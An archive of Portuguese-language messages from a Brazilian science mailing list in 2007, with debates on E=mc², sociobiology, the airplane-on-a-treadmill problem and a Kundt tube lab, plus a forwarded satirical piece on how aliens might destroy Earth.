>> é comprimento, o q é uma medida de comprimento é km.
>>
>> []s,
>>
>> Roberto Takata



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/04/2007 16:49

Caro José Renato,

Em uma fissão nuclear a velocidade não se aproxima à da luz. Uma fissão pode
ser provocada por neutrons lentos e mesmo neutrons rápidos movem-se muito
mais devagar do que a luz. Sua visão da desintegração nuclear não me parece
correta.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 30, 2007 12:23 AM
Subject: Re: [ciencialist] Re: E=m.c2


> Caro, Alberto!
>
> Esta mensagem - e seus artigos de referências - me faz lembrar uma
> interpretação simples da famosa fórmula E=mc2, em que considero a "massa"
> como a "energia estruturada" existente em uma ou mais partículas. Assim, a
> massa contida em uma ou mais partícula é igual à energia cinética
> dissipada
> quando, em velocidade próxima à da luz, choca-se com um
> anteparo-calorímetro.
>
> Usando a clássica fórmula de energia cinética 1/2mv2 e considerando a
> desintegração de uma partícula - em luz e calor - em todas as direções,
> teremos, *grosso modo*, expansão-pressão para um lado e para o oposto,
> assim: <-- 1/2mv2 0 1/2mv2 -->, onde 0 é a partícula desintegrada ou
> totalmente dissipada no choque contra um anteparo-calorímetro. Somando-se
> essas duas energias cinéticas liberadas por uma "explosão atômica",
> teremos:
> 1/2mv2 + 1/2mv2 = mv2.
>
> No caso da fissão nuclear, em que a velocidade equipara-se à da luz,
> teremos
> que a energia (cinética) dissipada é igual a mc2, donde, Ec=mc2(energia
> cinética é igual a massa vezes a velocidade da luz ao quadrado). Ou mais
> genericamente: E=mc2.
>
> Abraços
>
> José Renato
> .............................................
>
> ----- Original Message -----
> From: "Alberto Mesquita Filho" <albmesq@uol.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, April 28, 2007 8:50 PM
> Subject: Re: [ciencialist] Re: E=m.c2
>
>
>> ----- Original Message -----
>> From: "Manuel Bulcão"
>> Sent: Saturday, April 28, 2007 8:40 PM
>> Subject: [ciencialist] Re: E=m.c2
>>
>>> quando os físicos falam em "energia de massa" estão se referindo a
>>> quê? à matéria (partículas "massivas" com spin meio integral) ou à
>>> energia associada a ela, isto é, E/c^2? Estou perguntando isso
>>> porque, em artigos e livros de divulgação científica (bons livros,
>>> cujos autores são físicos famosos), a impressão que tenho é que se
>>> faz certa confusão.
>>
>> Esta confusão realmente existe e é própria de toda a física "moderna".
>> Energia, para o físico "moderno", é algo que se conserva depois que
>> ele joga no lixo algumas coisas que possam não lhe interessar. Para
>> entender melhor o que estou pretendendo dizer sugiro a leitura do
>> artigo "A energia da física moderna", em
>> http://www.ecientificocultural.com/ECC2/artigos/energia.htm . Este
>> artigo é uma adaptação da mensagem 13497 da Ciencialist e as mensagens
>> subsequentes podem ser acompanhadas a partir de
>> http://www.ecientificocultural.com/ECC2/Dialogos/efm.htm
>>
>> [ ]´s
>> Alberto
>> http://ecientificocultural.com/indice.htm
>> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
>> coulombiana e a Terra se move. E a história se repetirá.
>
>
>



SUBJECT: Re: [ciencialist] Como destruir a Terra em cinco idéias
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/04/2007 16:52

Tudo isso é muito caro e demorado. Para destruir a civilização atual basta
destruir metade dos nossos satélites de comunicação...

[ ]s

Alvaro Augusto




----- Original Message -----
From: "Kentaro Mori" <kentaro.mori@gmail.com>
To: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>;
<exobiologia_e_cia@yahoogrupos.com.br>; <painelovni@yahoogrupos.com.br>;
<ufoburn@yahoogrupos.com.br>; <Ufolista@yahoogrupos.com.br>; "lista CA"
<ceticismoaberto@yahoogrupos.com.br>
Sent: Saturday, April 28, 2007 5:42 AM
Subject: [ciencialist] Como destruir a Terra em cinco idéias


Como destruir a Terra em cinco idéias
<http://100nexos.com/arquivo/135> Published April
28th, 2007 in Geral <http://100nexos.com/arquivo/category/geral/>,
Ciência<http://100nexos.com/arquivo/category/ciencia/>and
Idéias <http://100nexos.com/arquivo/category/ideias/>. 0
Comments<http://100nexos.com/arquivo/135#respond>

Fenomenal mensagem de Douglas Donin <http://www.duvido.com/> à lista
CA<http://br.groups.yahoo.com/group/ceticismoaberto/>
:

Já que os terráquos estão escrevendo livros sobre como se defender de
invasões
extra-terrestres<http://br.today.reuters.com/news/newsArticle.aspx?type=internetNews&storyID=2007-04-25T194442Z_01_N25354587_RTRIDST_0_INTERNET-CIENCIA-ALIENIGENAS-INVASAO-POL.XML>,
vou dar 5 idéias sobre como inteligências extra-terrestres podem devastar o
planeta sem muito esforço e gasto e sem dar chance de defesa para os
terráqueos.

Sem clichês de infestação de microorganismos e bombardeio. Tudo isso é muito
fácil, atido e deselegante. Só soluções inéditas!

- - -

*Idéia 1: TRANSFORME A TERRA EM UMA GELÉIA VON NEWMANN.*

Se o seu plano é eliminar a peste terráquea, esta solução é garantida. Basta
jogar sorrateiramente uma cápsula contendo algumas gramas de Contrutores
Universais de von Newmann em uma parte afastada da Terra - a Antártida, por
exemplo. Estas máquinas microscópicas são auto-replicadoras, utilizam
material encontrado no meio ambiente, reagrupando matéria a nível molecular,
para contruir mais e mais cópias de si mesmas, ad infitum, eventualmente
consumindo toda a matéria disponível no planeta.

Quando os humanos perceberem, terá aparecido uma cratera de massa cinzenta
na superfície da Terra que duplica de tamanho em questão de dias. Em meses,
a Terra será reduzida a uma nuvem cinzenta de máquinas von Newmann em
stand-by. Depois, é só isolar a área que o planeta ocupava. As máquinas
podem ser programadas para, depois de X gerações, transformarem a si mesmas
em pequenos cubinhos inofensivos, dando fim à quarentena.

- *Custo*: virtualmente nulo. Só se paga o programador e o laboratório
de nanotecologia.
- *Diversão*: tedioso.
- *Risco*: Alto. Um mísero erro de replicação em apenas uma das
trilhões e trilhões de máquinas pode dar início a um processo onde a
Galáxia
se transformaria em uma nuvem de nanomáquinas famintas e descontroladas.

- - -

*Idéia 2: ENVENENE-OS*

Cianureto: carbono + nitrogênio. Materiais em abundância na Terra. Tudo o
que precisamos para matar todos os terráqueos envenenados!

Uma pequena cápsula, descendo em um local pouco vigiado (como a Antártida),
pode levar algumas dúzias de autômatos auto-replicantes minúsculos que, em
questão de dias, utilizariam os própros recursos naturais do planeta para
contruir uma usina sub-aquática de produção de cianeto, manipulando em nível
molecular o próprio assoalho do oceano e despejando toneladas de veneno nos
mares por segundo.

Quando os primeiros sinais de catástrofe começassem a aparecer, o
envenenamento já estaria tão disseminado que destruir a usina - isso SE eles
a encontrassem - não mudaria muita coisa!

Variante elegante: produzir carbonetos para acabar com a camada de ozônio
dos terrestres e matá-los fritos.

- *Custo*: baixíssimo.
- *Diversão*: tedioso.
- *Risco*: baixíssimo.

- - -

*Idéia 3: DESESTABILIZE A CULTURA HUMANA*

Identifique grupos de humanos com conflitos de interesses. Entregue armas a
um, recursos a outros.

Sim, você pegou a idéia. Give war a chance.

Humanos parecem gostar muito de certos elementos da tabela periódica.
Sintetize uma grande soma de alótropos rígidos de carbono, despeje sobre um
território e entregue aos territórios vizinhos armas pré-históricas de baixa
potência - ogivas de fissão, por exemplo.

Corte as comunicações com pulsos eletromagnéticos. Os humanos fazem o resto.

- *Custo*: Médio
- *Diversão*: Moderada
- *Risco*: Baixo. O único risco é ser pego no flagra depositando os
materiais.

- - -

*Idéia 4: JOGUE A LUA CONTRA ELES*

Se você prefere pirotecnia, esta é das boas. Dificilmente você verá um show
de destruição como este! Mas já vou adiantando, o plano é caro.

A lua terrestre fica voltada para os terráqueos sempre do mesmo lado. E o
pior, eles não costumam patrulhar a outra parte. É onde instalaremos
milhares e milhares de toneladas de anti-matéria, sem que eles vejam!

Quando os explosivos estiverem armados - acredite em mim, eles não
perceberão a operação - é hora do espetáculo! Desligue os selos de suspensão
e detone tudo! A explosão irá criar uma reação que irá esfarelar boa parte
da lua, desbalanceará a órbita do rochedo e irá precipitar a lua sobre a
cabeça dos perplexos macacos terráqueos! Apronte uma pipoca e veja-os correr
desesperados, enquanto a lua despedaçada fica semanas sobre as suas cabeças,
cada vez maior, até a grande explosão!

Atenção para as catástrofes ambientais que precederão o choque! Não olhe
para a explosão de anti-matéria sem óculos de proteção.

- *Custo*: Enorme.
- *Diversão*: Alta.
- *Risco*: Moderado. Prováveis efeitos de cegueira nos desavisados.

- - -

*Idéia 5: FAÇA-OS DE PALHAÇOS*

Os macacos do planeta Terra são muito curiosos. Ao contrário dos seus primos
mais peludos, os macacos eretos e sem pelos desenvolveram complexos padrões
de irracionalidade que leva-os a viver em uma concepção autista de natureza,
atribuindo ao cosmo curiosas propriedades mágicas e imaginando relações de
extra-causalidade bastante patéticas. Isso, meu amigo tirano galáctico, pode
ser muito divertido. Se vamos varrer estas pestes do mapa, por que não fazer
com
estilo e teatralidade?

Tudo o que precisamos é um clone e alguns truques de palco. Como dizia o
escritor Vx'yyan, do finado sistema 187, "toda tecnologia suficientemente
avançada é indistinguível de mágica".

Criamos um clone humano, com idade de aproximadamente 33 translações
terrestres, com barba e cabelos compridos. Vestimos o bicho com uma túnica
branca e vermelha, à moda de 2000 translações terrestres atrás. Logo após,
colocamos um implante neural para controlar completamente o bicho à
distância.

Caso não tenham percebido, trata-se de uma réplica de um personagem de uma
história muito popular (embora bastante absurda) dos terráqueos, que os
patéticos habitantes da Terra, em sua maioria, acreditam ter acontecido de
verdade bem como é apresentada na literatura de época! Este personagem,
durante o conto, desafia as leis da física, as leis da causalidade, repõe
tecidos orgânicos com toque de suas extremidades, cessa a sua operação
cerebral e volta a operar, comunica-se frequentemente com um grande mamífero
invisível que supostamente é seu genitor e outras sandices ininteligíveis.
Vai entender.

Pois bem, faremos este clone, devidamente controlado à distância pelos
nossos melhores estudiosos da cultura terráquea, aparecer, alegando
tratar-se do tal personagem. Nossas estimativas é de que, imediatamente,
grandes grupos macacos irão se reunir em culto para seguí-lo e defendê-lo.
Alguns irão duvidar, mas, após algumas demonstrações de mágica de palco
(campos de anti-gravidade irão fazê-lo levitar e andar sobre a água,
nanobiomáquinas irão repor tecidos de macacos enfermos e dissolver-se na
corrente sanguínea, geradores de imagens criarão ilusões mitológicas nos
céus, clonagem fará cópias indivíduos mortos aparecerem ilesos, etc), os que
duvidarem serão extintos à violência pelos próprios terráqueos! Os
macacos não são muito bons em exame crítico, então uma resistência de
incrédulos não passará de poucas centenas. Serão dominados e massacrados
ritualmente pelos restantes em poucos dias.

Após isso, meu amigo, institua o caos que a sua imaginação permitir.
Separe-os em exércitos e faça-os brigarem entre si! Mande-os arremessarem-se
de desfiladeiros (e faça imagens de macacos alados aparentemente saírem dos
corpor esfacelados!)! Crie bestas multiencefálicas com engenharia genética e
as ponha atrás deles! Seja o que for, mande os vídeos depois para nós!

- *Custo*: alto, mas a diversão compensa
- *Diversão*: Infinita! A festa não tem hora para acabar!
- *Risco*: nulo


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/04/2007 17:55

Olá Luiz!

Grato pela resposta.
Entendi bem.
Mas ainda fica a questão: o que é c²?
Km² é area, e c²? Recebe alguma denominação?
Ou é algo como x² numa equação qualquer?

Vc diz: c² não foi 'feito para imaginar'

c é velocidade da luz, certo?
c² é velocidade da luz x velocidade da luz, é isto?
velocidade x velocidade? No que dá isto?
ou vc diz que c² é inamaginavel porque não tem como
imaginar velocidade, se imaginar um corpo ao mesmo
tempo? Seria por isto? Assim como não tem como
imaginar o molhado sem imaginar a água, seria isto?

Vc diz: m.c² sim... já saiu da imaginação, Hiroshima
nos contou a realidade disso

me parece que está sua afirmação confirma minha teoria
da água e do molhado em relação ao c². O que vc acha?


agradeço se vc ou alguém me responder
grato. ferrari





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SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/04/2007 20:28

Olá, José.

> Seu argumento é inconsistente, como generalização. Há ricos e
poderosos que
> podem até ter muitas mulheres mas fazem poucos filhos. Em geral, as
famílias
> mais abastadas têm poucos filhos. Muitos poderosos mataram seus
próprios
> filhos para evitar usurpação de poder.

Devemos lembrar que estamos falando do ambiente ancestral de
caçadores e coletores nômades. Os ricos e poderosos desses últimos
séculos, ou milênios, são anomalias. Mas mesmo tão cedo quanto o
século XIX, as pessoas de boa renda costumavam ter muitos filhos.
Meus avôs tiveram nove, tanto na linhagem materna quanto paterna. A
tendência de redução de filhos é recente. Se eu não me engano ela
começa na Europa do século XIX, ou talvez XVIII, mas se acentua muito
a partir do século XX.

Além do que, o impulso não necessariamente é para ter filhos. Ele
pode ser para fazer sexo, para ter mulheres, ou até mesmo apenas para
ascender na hierarquia. A conseqüência de qualquer um desses atos
resultará em uma prole numerosa, mesmo que não seja isso que o
sujeito tinha em mente. O homem não quer poder para conseguir
mulheres. Ele quer poder porque é bom ter poder. O homem não faz sexo
porque ele quer filhos. Ele o faz porque é algo muito agradável de se
fazer. As conseqüências desses atos geralmente levam à produção de
prole, mas não necessariamente. Hitler teve poucas mulheres e, se eu
não me engano, nenhum filho. Ele estava tão absorvido pela política
que não tinha tempo para a família. Sua mulher se suicidou. É
importante lembrar que na sua época, a política havia ficado grade
demais. Uma tribo pode conquistar os territórios de algumas tribos
vizinhas. Hitler conquistou praticamente toda a Europa. A sensação
que ele sentiu após ter conquistado a França em um mês deve ter sido
muito agradável. Provavelmente muito melhor que sexo.

Saudações.
João de Carvalho.




SUBJECT: P/ João - Re: Questões sociobiológicas
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 00:04

Olá João

João: "Devemos lembrar que estamos falando do ambiente ancestral de
> caçadores e coletores nômades. Os ricos e poderosos desses últimos
> séculos, ou milênios, são anomalias."

Excelente, João, e esse é um ponto muito importante, mas quase sempre
esquecido, no debate sobre comportamentos evolutivos: esses
comportamentos devem ser analisados a partir do ambiente onde
evoluiriam, e durante a maior parte de nossa formação como espécie, e
não no ambiente atual, modificado até o limite pela cultura e
civilização moderna (e pelo conhecimento moderno).

Durante os dois milhões de anos (ou mais, se contarmos antepassados
recentes), e não durante os 20 mil últimos, vivemos em condições em
que maior número de descendentes era o fator fundamental para um gene
ou comportamento se tornar comum no pool genético, ou desaparecer.

E temos de levar em conta a estatística, não o relato pessoal ou
anedótico. Um "poderoso" que mata os filhos, para manter o poder, é
irrelevante, se esse comportamento não for a norma, mas uma anomalia.

Se a maioria não age assim, é isso que será efetivo como pressão
evolutiva para a espécie (qualquer espécie, não apenas a nossa).

E como notou, familias abastadas tem poucos filhos apenas muito
recentemente, coisa de 30 anos, a partir da pílula anticoncepcional.
No passado, não havia como ter "poucos filhos", uma vez que, fazendo
sexo, se faziam filhos. E, como familias abastadas tinham muitos
filhos, e familias não abastadas tinham muitos filhos, o que fazia
diferença era quantos desses filhos sobreviviam.

Mais protegidos, mais bem alimentados, com mais condições, os filhos
de familias abastadas, em sua maioria, viviam mais e tinham mais
descendentes que os de familia não abastada.

O problema, não apenas com o Jose Renato, é tentar ver em relatos
anedóticos (não estatísticos), evidencias para conclusões científicas.

Um abraço.

Homero




SUBJECT: Re: Questões sociobiológicas
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 02:35

Olá João,

Retomando só dois pontos:

Engels acreditava que a sociedade humana era matriarcalista e tem bons
argumentos para tal.

Politica entre humanos é diferente de política entre animais.

Em todo caso, é um assunto para ser melhor explorado. Boa sorte.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Caro JC.
>
> > Você começa falando de "homens" e "mulheres", fazendo portanto uma
> > referência explicita ao ser humano, e agora você justificou usando,
> em
> > parte, a frase "Entre machos, o principal motivo da hierarquia
> > existir é ter acesso sexual preferencial ou exclusivo às fêmeas. E
> > sexo é uma das coisas que mais fortemente estão sob pressão
> > darwinista.". Sim, é verdade, sexo é um fator de pressão evolutiva,
> > mas "hierarquia" é algo distinto entre humanos e não-humanos.
>
> Hierarquia não é algo distinto entre humanos e não-humanos.
> Chimpanzés passam boa parte de seu tempo formando coligações
> políticas para tomar o poder. A hierarquia humana realmente sofreu
> influências especiais que não estão presentes em outros primatas
> (assunto que podemos discutir em outra mensagem), e por esses motivos
> ela é mais branda e menos dependente da força física. Mas ainda assim
> ela existe, tanto em humanos como em chimps e gorilas. Os gibões não
> exibem isso por não viverem em sociedade. Mas e não sei se é
> exatamente esse o seu ponto. Talvez eu não tenha entendido direito.
>
> > No seu texto original você afirma fazer sentido que homens de alta
> > hierarquia (humana) tenham mais filhos homens, mas porque deveria
> ser
> > assim? A hierarquia humana não se estabelece entre "famílias", pela
> > herança sanguínea, mas sim por elementos políticos, como você bem
> > salientou.
>
> Pode ser esta a resposta para o enigma que levantei: A hierarquia não
> sofre nenhuma influência significativa da hereditariedade (embora nos
> bonobos, que são matriarcais, parece que o prestígio de um macho está
> relacionado ao prestígio de sua mãe). Mas quando se trata de
> linhagens matrilineares a hereditariedade parece exercer uma
> influência maior. Isto porque uma fêmea tem certeza que o filho é
> seu, já o macho não pode ter essa certeza.
>
> > Entre os demais animais essa hierarquia não se dá preferencialmente
> por "política", e sim, geralmente, pela força física.
>
> Mas força física e política andam de mãos dadas. A política, como eu
> disse, são os acordos que os machos fazem para não terem que partir
> para a violência. Por traz da política está a guerra, a luta, a
> violência. Coalizões políticas entre chimpanzés são feitas porque
> vários chipanzés de um mesmo "partido" são mais fortes que um macho
> dominante solitário, por mais forte que ele seja. O tamanho do grupo
> é um importante elemento quando se trata de força física. Por isso
> ocorrem as coalizões políticas (entre humanos ou chimps).
>
> > O maior acesso às fêmeas garante mais descendentes, mas não
> determina
> > o sexo deles. Além disso, em uma hierarquia baseada em "política",
> e a
> > menos que a "habilidade política" seja genética, qualquer homem pode
> > vir a deter o poder, ainda que momentaneamente
>
> Pode ser. Não sei o quão instável é a hierarquia entre primatas,
> incluindo os humanos. Talvez essa seja a explicação para o enigma que
> coloquei.
>
> > e não parece haver uma razão para que seja diferente (ou teríamos
> atualmente apenas "políticos" no mundo.
>
> Mas todos nós somos políticos, em maior ou menor grau. Minhas
> habilidades políticas são péssimas, mas em geral as pessoas têm algum
> tato nas negociações sociais.
>
> > Assim, sendo o "poder político" um fato circunstancial e
> eminentemente humano...
>
> A política não é uma característica exclusiva dos humanos. Chimps têm
> uma intensa vida política.
>
> > Por fim, o sexo e a disputa por fêmeas e pelo maior número de
> > descendentes é muito anterior à hierarquia humana. Em termos de
> "tempo
> > evolutivo" não me parece ter havido tempo suficiente para que a
> > hirarquia humana (baseada em política) tenha tempo ou oportunidades
> > para exercer alguma pressão evolutiva considerável.
>
> Como eu disse acima, é bastante provável que a política date de um
> período muito anterior ao surgimento do Homo sapiens. Se os chimps e
> gorilas a têm, é bastante provável que os Australoptecus a tivessem,
> assim como o Homo eretus.
>
> Saudações.
> João de Carvalho.
>




SUBJECT: Re: Fw: Tubo de Kundt
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 02:42

Oi Léo,

Não tem não. A única coisa que tenho no lab da minha escola foi
comprada por mim, com dinheiro dos meus alunos, como parte de um
projeto meu de reaparelhagem do lab. São kits que eu mesmo monto com
materiais baratos e os roteiros, a teoria e as avaliações sou eu mesmo
que faço.

Sobe o tubo de Kundt não temos nada. Aliás, não temos nem tempo de
tratar a ondulatória direito no curso.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olá JC,
>
> em algumas de suas escolas tem o manual de operação do tubo de
Kundt. Não é o primeiro consulente que diz que na escola dele tem isso
(parece-me que foi uma distribuição estadual???).
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: herbert rodrigues
> Para: leobarretos@...
> Enviada em: quinta-feira, 26 de abril de 2007 13:48
> Assunto: Tubo de Kundt
>
>
> Sr. Léo Barretos
>
> Em primeiro lugar, gostaria de parabenizá-lo pelo seu site de
divulgação científica. Iniciativas como esta são extremamente
necessárias em nosso país.
>
> Consultei em seu site a prática do Tubo de Kundt. Temos em nossa
escola todo o material para realização da prática, porém nos falta um
roteiro elaborado e passo a passo para obtenção dos resultados.
Gostaria que o sr. nos enviasse, se possível, um roteiro mais
detalhado do que o que consta no site, a fim de reproduzirmos a prática.
>
> Grato pela atenção.
> Prof. Herbert de Oliveira Rodrigues
> Colégio Estadual Liceu de Maracanaú
> Maracanaú/CE
>
>
> Herbert Rodrigues
> professor_herbert@...
> (85)8871-1472
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>
>
>
>
--------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.463 / Virus Database: 269.6.1/776 - Release Date:
25/04/2007 12:19
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 02:57

Olá José Renato, seguem comentários.


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos! Enfocando a questão dos referenciais...
>
> A resposta sobre referenciais está no texto anterior, veja:
> [ A esteira se move para um lado e o avião para o outro, tanto em
relação ao
> chão quanto *entre eles* mesmos. ]
>
> Utilizando como referencial *um ponto sobre a esteira*, esse ponto
pode se
> mover sim, tanto em relação ao chão, ao avião e em relação a ela
mesma, à
> sua estrutura.


É, parece que você está com problemas para definir seu referencial.
Agora parece que você também tem problemas para definir a sua esteira. :)

Se você chama de esteira a uma superfície sobre a qual está o avião,
então a "estrutura" da sua esteira seria na verdade o mecanismo que a
move e não a própria esteira. Se esse mecanismo é fixo no solo então o
referencial "na estrutura da esteira" é, na verdade, o referencial do
chão.

De qualquer forma parece que você vai ter que assumir que o
referencial sempre foi o chão, não é mesmo? ;)

Acho que você não tem mais "saídas" José Renato, seu referencial é o
mesmo que todos disseram que era: o chão! :)))

Já provamos que nesse referencial (chão) o avião se move no caso
descrito no problema e você nãoe stá conseguindo (e nem vai conseguir)
escolher outro referencial válido para o enunciado do problema...
Então talvez seja hora de admitir que teve uma idéia brilhante, mas
que ela não funciona.


> Veja explicação importante, que consta no e-mail anterior:
> [ O referencial *principal* é a interação entre os movimentos da
esteira e
> do avião.


José Renato, "interação entre movimentos" não é referencial e só pode
ser analisada "escolhendo-se antes um referencial". Seu curso de
física básica foi bem ruinzinho mesmo, ou você matou muitas aulas para
paquerar as menininhas. ;)


> O chão é um referencial secundário, que só será utilizado para
> analisar o deslocamento do avião - que corre sobre a esteira na mesma
> velocidade em sentido contrário - em relação ao chão e ao ar, para
concluir
> que não há condições de sustentação para alçar vôo. ]


Não existem referenciais "primários" e "secundários". Existem apenas
referenciais. Podem ser inerciais ou não-inerciais, mas não podem ser
classificados em primários ou secundários porque não se pode saltar de
um referencial a outro sem reconsiderar todos os movimentos
envolvidos. Esse processo de "saltar de um referencial a outro"
chama-se "mudança de referencial" e envolve geralmente mudança no
sistema de coordenadas (cartesianas, cilíndricas, polares, esféricas,
etc.).

Você entrou numa enrascada. Você é um aluno teimoso, mas eu sou acho
que sou um professor bem mais teimoso do que você. :)))

Abraços,
JC

> []s
>
> José Renato
> .......................................................
>
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 30, 2007 12:04 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Olá José Renato,
>
> Apaguei partes muito antigas ou que não precisam ser comentadas, ok?
> Os comentários seguem logo abaixo dos seus.
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
>
> > Caríssimo José Renato, folgo em sabê-lo que você "aceitou" os
> > argumentos acima, mas o fato é que argumentos como esses não
> > podem ser rejeitados, pois não são de "livre escolha" e sim imposição
> > das leis físicas que descrevem a natureza. Você pode ou não "aceitar"
> > que o avião voará, mas independentemente disso, ele voará (aviões
> > voam!). :)
> > JR1 - Voa sim, mas sua velocidade *em relação à esteira* conflita
com o
> > enunciado do problema, isto é, nesse caso o avião se desloca com *o
> dobro da
> > velocidade* da esteira... Mas é preferível, por enquanto, nos
> concentrarmos
> > na solução pendente de consenço. OK?
>
>
> Não há nenhum conflito, pois o que determina se o avião voará ou não é
> sua velocidade em relação ao chão (e, portanto, em relação ao ar).
> Pouco importa sua velocidade em relação a esteira, a Lua ou ao centro
> da galáxia.
>
>
>
> > Seus esquemas, infelizmente, estavam errados conforme já foi
> > demonstrado, e você não se opôs à demonstração, quando consideramos
> > desprezível o atrito dos rolamentos da roda do avião. Logo, sua
> > explicação baseada neles também estava errada. Lembra-se? Foi nessa
> > época que você me disse que não era bem assim que o enunciado do
> > problema original era outro, etc. e tal. Bom, estamos agora discutindo
> > o enunciado do problema original e como já ficou claro na mensagem
> > anterior, o referencial é mesmo na Terra e o avião voará. Mas vamos
> > adiante apreciar seus argumentos...
> > JR1 - Essas dúvidas e divergências serão esclarecidas depois, OK?
>
>
> OK. Não tenho pressa. Prefiro que tudo fique bem claro.
>
>
> > JR1 - Vc logo vai concluir que a solução que apresentei não é uma
forma
> > inédita de olhar o problema.
>
>
> Eu não acho que sua solução seja "inédita", José Renato, acho apenas
> que ela está erada e que você se confundiu porque, na minha opinião,
> sua formação em física básica não foi muito boa e certos conceitos
> ainda não estão muito claros para você. Tenho dezenas de alunos que
> concordariam com sua solução errada e é muito comum eu ter que
> ajudá-los com esses conceitos. Você só é mais "teimoso" que a média
> porque prefere não assumir seu engano do que "percebê-lo". :)
>
>
> > > Veja. Se o avião está sobre a esteira que se move para trás e o
> > > avião para frente *com a mesma velocidade*, há uma relação
> > > fundamental entre seus movimentos.
> >
> >
> > Epa, vamos com calma... A esteira se move para trás em relação ao que?
> > Ao avião? Ao chão? A Lua ou a própria esteira? Não vamos nos esquecer
> > de que você mesmo já defendeu aqui, veementemente, que não devemos dar
> > interpretações "simplistas" aos enunciados e que isso pode ser
> > intelectualmente pobre, certo? Eu não vou querer cometer essa
> > barbaridade e dessa vez quero saber exatamente sobre o que estamos
> > falando.
> > JR1 - Continuo calmo! A esteira se move para um lado e o avião para
> > o outro, tanto em relação ao chão quanto em relação a eles mesmos.
>
>
> Isso é impossível José Renato. Se o referencial for a esteira então
> ela nem se move! Se o referencial for o avião então ele também não se
> move! A única possibilidade dessa frase estar certa é se o referencial
> for o chão. Nesse caso, adotando-se o sentido desse referencial como
> sendo o do movimento do avião, teremos enfim um "para frente" (que
> significa mover-se no sentido do avião), um "para trás" (que significa
> mover-se no sentido oposto ao do avião) e poderemos falar que ambos,
> avião e esteira, se movem.
>
> > Da mesma forma, o avião se move para frente em relação ao que? Que
> > lado é a "frente"? Quem se move para trás se move para trás do que?
> > Vamos elevar o nível intelectual da nossa conversa e deixar esses
> > itens bem claros para não corrermos o risco de não percebermos as
> > coisas óbvias que ninguém percebeu ainda, concorda?
> > JR1 - Sem complicar, JC! Como dito acima, a esteira se desloca para
> > um lado e o avião para o outro. Vc terá uma melhor visualização disso,
> > fazendo um teste prático em uma esteira rolante de supermercado...
>
>
> Eu nãoe stou complicando nada, muito pelo contrário. Quando eu lhe
> disse que o referencial era o chão e que esse referencial era adotado
> sempre que não se explicitava um outro, você me disse então que isso
> era intelectualmente pobre e que deveríamos explorar outras
> possibilidades. Pois bem, estou explorando! ;)
>
>
> > Pegue um carrinho-avião e se posicione sobre a esteira no sentido
> > inverso ao normal, isto é, "discostas". A esteira vai carregar o
> > avião-carrinho e seu propulsor-JC estacionados sobre ela...
> > Antes de chegar ao final, vc aciona o propulsor-turbinas-JC e
> > começa a deslocar o carrinho-avião sobre a esteira, em sentido
> > contrário ao deslocamento dela, acelerando até que o avião-carrinho
> > se desloque *na mesma velocidade da esteira*...
>
>
> Pegarei o que for preciso DEPOIS que ficar claro qual é o referencial
> que você está adotando: chão, esteira, avião ou outro qualquer. Antes
> disso deixo os carrinhos de supermercado no supermercado mesmo. :)
>
>
> > Então aguardo sua resposta antes de continuarmos, porque sem ela não
> > fará o menor sentido discutirmos um movimento sobre o qual nem sabemos
> > a que se refere, não é mesmo?
> > Assim que você elucidar esses pontos nebulosos nós continuaremos com
> > seu raciocínio.
> > Aguardo novamente suas explicações.
> > JR1 - Veja, agora, quais dúvidas permanecem. E quais são as novas...
>
>
> Permanece a dúvida anterior sobre o SEU referencial: qual é o
> referencial que você está escolhendo? Você não me disse ainda e agora
> acho que está claro que você só pode concordar com o que eu já havia
> lhe dito (quando você considerou minha interpertação intelectualmente
> pobre, he he): o referencial é o chão. Não é mesmo?
>
>
> > Abraços
> > José Renato
>
> Abraços,
> JC
>




SUBJECT: Re: [ciencialist] Origem do som usado para pedir silêncio
FROM: "Marcelo Cortimiglia" <cortimiglia@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 06:46

Em 10/04/07, Kentaro Mori <kentaro.mori@gmail.com> escreveu:
>
> On 4/9/07, Nando <nando.str@gmail.com> wrote:
> > Aquele 'shhh' que todos fazem quando querem que seja feito silêncio...
> > qual a origem desse som?
